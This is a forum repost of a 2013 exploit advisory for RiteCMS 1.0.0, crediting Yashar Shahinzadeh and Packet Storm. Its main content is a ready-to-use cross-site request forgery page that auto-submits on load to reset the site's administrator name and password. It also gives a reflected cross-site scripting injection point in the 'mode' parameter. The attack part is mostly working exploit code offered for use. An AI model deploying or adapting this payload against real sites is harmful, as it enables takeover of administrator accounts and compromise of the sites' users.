Jump to content
Matt

Rite CMS 1.0.0 Cross Site Request Forgery / Cross Site Scripting

Recommended Posts

Posted

Description : Rite CMS version 1.0.0 suffers from cross site request forgery and cross site scripting vulnerabilities.

Author : Yashar shahinzadeh

Source : Rite CMS 1.0.0 Cross Site Request Forgery / Cross Site Scripting ? Packet Storm

Code :

###########################################################################################
# Exploit Title: RiteCMS multiple vulnerabilities
# Date: 2013 30 July
# Exploit Author: Yashar shahinzadeh
# Credit goes for: ha.cker.ir
# Vendor Homepage: http://ritecms.com/
# Tested on: Linux & Windows, PHP 5.2.9
# Affected Version : 1.0.0
#
# Contacts: { http://Twitter.com/YShahinzadeh , http://y-shahinzadeh.ir }
###########################################################################################

Summary:
========
1. CSRF - Change administrator's password
2. Cross site scripting

1. CSRF - Adding an admin account:
==================================

<html>
<body onload="submitForm()">
<form name="myForm" id="myForm"
action="http://[Path to RiteCMS]/cms/index.php" method="post">
<input type="hidden" name="mode" value="users">
<input type="hidden" name="id" value="1">
<input type="hidden" name="name" value="admin1">
<input type="hidden" name="new_pw" value="admin">
<input type="hidden" name="new_pw_r" value="admin">
<input type="hidden" name="type" value="1">
<input type="hidden" name="edit_user_submitted" value="%C2%A0OK%C2%A0">
</form>
<script type='text/javascript'>document.myForm.submit();</script>
</html>


2. Cross site scripting (After auth):
=====================================
http://localhost:80//ritecms.1.0.0.tinymce/cms/index.php?mode=[XSS]

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...